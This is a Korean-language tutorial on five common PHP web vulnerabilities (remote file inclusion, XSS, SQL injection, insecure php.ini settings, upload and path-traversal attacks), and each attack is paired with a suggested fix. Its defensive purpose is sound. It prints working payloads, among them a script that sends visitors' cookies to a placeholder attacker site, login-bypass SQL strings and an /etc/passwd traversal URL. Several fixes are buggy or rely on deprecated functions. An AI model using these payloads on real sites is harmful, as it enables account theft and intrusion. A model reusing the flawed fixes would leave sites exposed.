국제 웹 보안 표준 기구(OWASP - Open Web Application Security Project)에서 해마다 자주 발생하는 웹보안취약점 Top 10 을 선정하여 발표 합니다. 이것을 기준으로 PHP웹 보안 취약점 Top5를 알아보고, 해결책을 제시합니다.
1. 원격 코드 실행 ( Remode Code Execution )
이 방식은 주로 소스코드에 include 함수나 fopen 함수를 이용하여 변수로 넘겨받아서 파일명을 동적으로 불러들이는 코드에서 발생합니다.
예 include $_POST['filename'] 또는 include $filename;
위 예는 홈페이지 레이아웃을 구조화(header, footer 등) 할 때 사용합니다.
해킹예) http://사이트주소/파일명?filename='http://해킹주소/hackcode.php'
해킹자가 파일명을 전송폼으로 넘기거나, 파일변수명을 확인해서 외부 사이트의 파일주소를 변수로 넘기게 되면, 외부사이트의 파일주소내용이 실행되게 됩니다.
즉, 크로스 사이트 스크립트 공격이 일어나게 됩니다. 이 취약점은 다른 웹프로그래밍 언어보다 특히 PHP 사이트 에서 자주 일어 납니다. 그 이유는, PHP.ini 설절파일의 allow_url_open 속성이 on 으로 기본값이 설정이 되어 있기 때문에 URL 형식의 파일 열기가 가능합니다. ( Remote File Injection )
기본적으로 이러한 공격의 해결 방법은 PHP.ini 설정 항목중 allow_url_open = off 로 변경후 아파치 웹서버를 재부팅하면 해결 됩니다.
하지만, 해킹자가 외부사이트의 파일을 실행하게 하지 않고, 파일업로드를 통해서 내부웹서버에 파일을 업로드하였을 경우에는 업로드한 외부파일을 이용해서 include 를 실행하게 됩니다.
따라서, 해결책은 소스코드에서 파일로 include 문을 사용하여 홈페이지 제어를 할 경우 반드시 그 파일의 경로와 이름이 올바른지 확인하는 구문을 넣어서, 검증한 후 파일을 include 할 수 있도록 처리해야 합니다.
*해결예) $valid_filename = check_validation ( $_POST['filename']); //파일 위치 검증함수 check_validation 사용 (function check_validation($filename){
if(file_exists("$DOCUMENT_ROOT/common/$filename){
echo $filename;
}else{
echo "접근경로가 올바르지 않습니다.";
exit;
}
)
include $valid_filename;
2. 크로스 사이트 스크립팅 ( XSS, Cross Site Scripting )
게시판에 글을 쓸 때 사용자가 입력한 값을 그대로 데이터베이스에 등록하고, 글 읽기 페이지에서 그대로 출력한다면, 해커는 다음과 같은 자바스크립트 코드를 글제목에 삽입하는 것으로 해당사이트를 무력화 시킬 수 있습니다.
해킹예1.<script>location.href="광고사이트";</script>
사이트방문자가 게시판 페이지에 접속하는 순간, 자동으로 제목에 입력한 사이트로 이동하게 됩니다.
해킹예2.<script>location.href='해킹사이트/cookie.php?str='+document.cookie;</script>
사이트방문자의 쿠키정보를 해킹사이트로 보내게 됩니다.
해킹예3.<img src="없는파일이름.gif" onError="location.href='광고사이트'"> 로 하면, 글내용 읽기에서 파일없음 에러이벤트가 발생하기 때문에 광고사이트로 이동합니다.
해결첵은 사용자가 입력한 값을 검증해서, 삽입할수 없는 코드를 제거하는 것 입니다.
*해결예) 모든입력상자에 아래의 코드를 적용(공통함수사용이 바람직)
php변수 $user_input = strip_tags($user_input, "<img><b>");?> img태그와 b태그만 허용
script랑 style 태그제거 while(preg_match('/<\/?(script|style)/m', $user_input)) {
$user_input = preg_replace('/<\/?(script|style)/m','',$user_input);
}
인라인 이벤트핸들러 제거 where(preg_match('/<[a-aA-Z]+.+on(load|click|error|그외핸들러추가)=".*"\/?>/m',$user_input)) {
$user_input = preg_replace('/(<[a-aA-Z]+.+)on(load|click|error|그외핸들러추가)=".*"(\/?>)/m','XX', $user_input);
}
$user_input = mysql_real_escape_string($user_input);//mysql전용
3. SQL 인젝션 ( SQL Injection )
쿼리를 동적(PreparedStatement)으로 생성한다면 아래 Sql 인젝션 공격은 고민할 필요가 없다.
설명) PreparedStatement로 전달되는 문자열 파라미터는 이 드라이버에 의해 자동으로 이스케이핑(escape)됩니다. 간단히 예를 들자면, 프로그램이 암호 $pwd변수값에 문자열 "' OR ' '='"를 쿼리조건필드에 파라미터로 삽입하려고 할 때 이 명령문은 첫번째 작은따옴표를 통과하지 못하고 실행에 실패하게 됩니다.
php5 이상에서 실행 가능하지만, 보안을 생각한다면 고려해 볼 만 하다.
적용예
require_once("DB..php"); // DB클래스삽입 $db개체 생성
// 동적파라미터 생성
$sth = $db->prepare("SELECT COUNT(username) FROM login WHERE username=? and pwd=?");
$res = $db->execute($sth, array($username, $pwd));
만약 동적쿼리를 생성할 상황이 되지 않는다면, 아래에 해당하는 구문으로 코딩 작업을 변경해 주어야 한다.
가장 대표적인 방법은 사용자 인증을 우회하는 것입니다.
해킹예1) 작은 따옴표를 이용한 해킹
로그인창을 기준으로 보면
SELECT COUNT(*) FROM USERS WHERE USERID = '$_POST[USERID]' AND USERPW = '$_POST[USERPW]' 카운터가 1 이상으로 로그인 할 수 있습니다.
이경우 아이디와 암호가 모두 일치해야지만, 카운터가 1 이상으로 나오는데, 해킹자는 암호를 몰라도 해당아이디로 카운터를 발행시킬수 있습니다.
해킹자는 로그인 하고자 하는 아이디를 입력하고, 비밀번호 항목에 다음과 같은 코드를 삽입 합니다.
아디디 : admin / 암호 : ' OR ' '='
위와 같이 넣으면, SQL쿼리는 다음과 같이 수정됩니다.
SELECT COUNT(*) FROM USERS WHERE USERID = 'admin' and USERPW = ' ' OR ' '=' '
위와 같이 로그인 쿼리가 변경되기때문에 WHERE 절이 항상 참이 됩니다. 그래서, admin 아이디로 로그인하게 됩니다.
* 해결책1) 사용자가 입력한 작은따옴표가 쿼리문에 반영되는 것을 금지하는 방법
PHP.ini 설정에 magic_quotes_gpc = on 으로 변경 후 아파치 재가동( 현재 설정값 확인 내장 함수 magic_quotes_gpc(); )
이렇게 하면, GET,POST,COOKIE 를 통해서 입력되는 작은 따옴표에 모두 \ 를 자동으로 추가해 준다.
해킹예2) 작은 따옴표를 이용한 해킹방지를 건너띄는 WHERE조건이 숫자인 쿼리일 경우
DELETE BOARD WHERE USERID='admin' AND USERPW = 1234 AND IDX = 10
전송폼 입력 아디디 : 해킹자ID / 암호 : 1234 OR 0=0--
해킹된 쿼리 DELETE BOARD WHERE USERID='admin' AND PASSWD= 1234 OR 0=0 --AND IDX =
*해결책2) 문자파라미터는 문자만, 숫자파라미터는 숫자만 입력값을 받도록 한다.
암호와 일련번호가 숫자인 경우 $_POST[PASSWD]와 $_POST[IDX]가 숫자인지 학인하는 구문을 집어 낳는다.
$PASSWD = (int)$_POST[PASSWD];
$IDX = (int)$_POST[IDX];
위처럼 파라미터로 받은 값을 숫자형으로 변환하면,OR --가 숫자가 아니기때문에 해킹자가 원하는 DELETE가 이루어지지 않는다.
4. 안전하지 않은 PHP 설정 ( 1번만 주의 깊게 보세요 )
주로 PHP.ini 설정에 관련된 문제 인데
allow_url_open 과 magic_quotes_gpc 는 위에서 설명 되었고,
1. register_globals = Off; 올바른 값
변수의 출처를 구분해주는 역할을 사용하려면, Off를 해 주어야 한다.
즉, $ID와 $_GET[ID], $_POST[ID], $_COOKIE[ID] 등의 변수출처를 알수 읶게 되어서 다른 값으로 인식하고.
On 으로 적용하면, $ID 와 $_GET[ID], $_POST[ID], $_COOKIE[ID] 은 같은 같으로 인식한다.
회원로그인시 반드시 POST방식으로 변수를 받아야 하지만, 위 설정으로 GET방식으로 받아도 로그인이 가능해 진다.
2. open_basedir = '지정된 폴더'; 지정된 폴더외에 파일 접근을 막는 방법이 있음.
3. safe_mode = on; 파일에 접근시 파일에 대한 소유권 확인 ( php 6.0 부터 설정이 없어질 예정 )
5. 파일시스템공격 ( File System Attacks )
- 첨부파일 업로드를 이용한 공격
업르드 파일에 php,html 과 같은 실행 가능한 파일을 업로드하지 못하게 자바스크립트로만 제약을 걸어 놓는 경우
햬킹예1). 해킹예 자바스크립트를 사용하지 않음으로 브라우저에서 설정([F12]키)했을 경우 업로드가 가능하게 된다.
해결책1). 아래와 같이 프로그램 코드에서 실행가능한 파일 확장자를 막는 코드를 삽입한다.
<?
$filename = 'hack.php';
$ext_exp = '\.(php|php3|html|htm|cgi|pl)';
if(eregi($ext_exp,$filename))
{
echo "업로드가 불가능한 확장자 입니다.";
}
else
{
echo "업로드가 가능한 확장자 입니다.";
}
- 첨부파일 다운로드 경로를 이용한 중요파일 해킹
보통 다운로드 링크를 걸때, 직접 경로로 접근을 하지 않고, download.php 파일을 이용해서 다운로드를 구현하게 되는데...
해킹예1). http://www.도메인/bbs/download.php?filename=../../../etc/passwd 와 같이 시스템 중요한 파일을 다운로드 할 수 있게 된다.
해결책1). download.php 파일 코딩 상단에 아래 코드를 삽입
if( eregi("\.\.|/", $filename )
{
echo "상대경로로 접근할 수 없습니다.";
exit;
}
기타. 세션관리의 취약점(보통 셰션은 로그인 유지사용된다.)
-. 쿠키를 이용한 세션 ( 취약점.암호화 해도 콕시 툴로 하이젝킹이 가능 )
-. 서버 세션을 이용한 세션
취약점 : 서버의 PHPSESSID 는 로그인 후 브라이저를 닫아도 20 이내에는 살아 있게 됩니다.
쿠키보다는 서버세션을 이용한 로그인을 유지하는 것이 좋다.
위 2가지 모두 Cooxie 툴바 해킹툴로 세션을 알아 낼 수 있다.(하이젝킹 가능)
해킹예) 홈페이지 게시판에
<script>location.href='해킹사이트/cookie.php?str='+document.cookie;</script>
위와 같이 쿠키 값을 해킹자의 사이트로 전송하는 스크립트를 게시물에 삽입 했을때...
해결책) 상단의 2번 크로스 사이트 스크립팅 ( XSS, Cross Site Scripting ) 해결책을 사용한다.
참고로, 관리자폴더는 유추가 가능한 admin, manage 같은 폴더명을 사용하지 않도록 한다.